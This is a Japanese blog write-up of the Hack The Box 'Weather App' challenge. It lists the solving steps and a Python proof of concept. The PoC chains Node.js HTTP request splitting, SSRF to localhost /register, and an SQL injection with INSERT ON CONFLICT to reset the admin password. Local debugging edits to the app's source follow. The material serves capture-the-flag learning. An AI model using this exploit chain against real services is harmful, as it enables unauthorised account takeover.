🐙
Weather App(HTB)
やー-っとできた!!ので書く
参考↓
上の参考URLの方がはるかに分かりやすいし、詳しいので私の記事を見るのはとてもオススメしない。
過程
routes/index.jsのソースコードを読む
↓
/registerでアカウント登録をしようとしてみる
↓
/api/weatherのbodyをプロキシツールで見てみる
↓
database.jsとhelpers/WeatherHelper.jsのソースコードを読む
↓
package.jsonのソースコードを読む
↓
SSRFについて調べる
↓
↓
↓
Node.jsのHTTP Request Splittingについて調べる
↓
database.jsのペイロードを考える
↓
INSERT ON CONFLICT句について調べる
PoC
weather_app.py
import requests
import json
host = "{TARGET_IP}:{TARGET_PORT}"
localhost = "127.0.0.1"
vuln_url = "http://" + host + "/api/weather"
path = "/register"
CR = '\u010D'
LF = '\u010A'
space = '\u0120'
content_type = "application/x-www-form-urlencoded"
username = "admin"
# single quotes need percent encoding
password = "1111%27)" + space + "ON" + space + "CONFLICT(username)" + space + "DO" + space + "UPDATE" + space + "SET" + space + "password=%27test5%27;--"
# こっちでも動く
# password = "1111%27)/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/password=%27test6%27;--"
content_length = len(username) + len(password) + 19
endpoint = localhost + "/" + space + "HTTP/1.1" + CR+LF +\
"Host:" + space + localhost + CR+LF +\
CR+LF +\
"POST" + space + path + space + "HTTP/1.1" + CR+LF +\
"Host:" + space + localhost + CR+LF +\
"Content-Type:" + space + content_type + CR+LF +\
"Content-Length:" + space + str(content_length) + CR+LF +\
"Connection:" +space + "close" + CR+LF +\
CR+LF +\
"username=" + username +"&password=" + password + CR+LF +\
CR+LF +\
"GET" + space
city = "test"
country = "test"
body = {
"endpoint":endpoint,
"city":city,
"country":country
}
# NOT USE!!!
# json_body = json.dumps(body)
print("--------------ENDPOINT PAYLOAD--------------")
print(body)
print("--------------DECODE PAYLOAD--------------")
decode_body = json.dumps(body).replace("\\u010a", "\n").replace("\\u010d", "\r").replace("\\u0120", " ")
print(decode_body)
res = requests.post(url=vuln_url, json=body,proxies={"http":"http://localhost:8080"})
# when not going through a proxy
# res = requests.post(url=vuln_url, json=body)
print("--------------RESPONSE--------------")
print(res.text)
↓
cmd
$ python weather_app.py
↓
username=admin、password=test5でログイン
何回やってもパスワード変更できないなあと思いながら、print(body)
された値をburpに貼り付けたらいけちゃってComposerで何が違うのか見て、結局、requests.post(url=vuln_url, data=json_body
と書いたことによりContent-Type: application/json
がリクエストについてなかったというやつだった。。
ローカル環境検証
SQLの動きがいまいちわからなかったので検証してた
database.jsを修正
// 追記
async selectQuery() {
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM users`;
resolve((await this.db.all(query)));
} catch(e) {
reject(e);
}
});
}
// 一部修正
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
let test = resolve((await this.db.run(query)));
console.log(test);
} catch(e) {
console.log(e);
reject(e);
}
});
}
routes/index.jsを編集
// 追記
router.get('/sql', (req, res) => {
return db.selectQuery()
.then((message) => {
return res.send(response(message));
})
.catch((e) => res.send(response(e.text)));
});
// 削除
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
// 一部修正
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch((e) => res.send(response(e.text)));
}
↓
cmd
\Weather App\web_weather_app> sh .\build-docker.sh
↓
/registerと/sqlを行き来して、SQLどうなってるかな~を確認
Discussion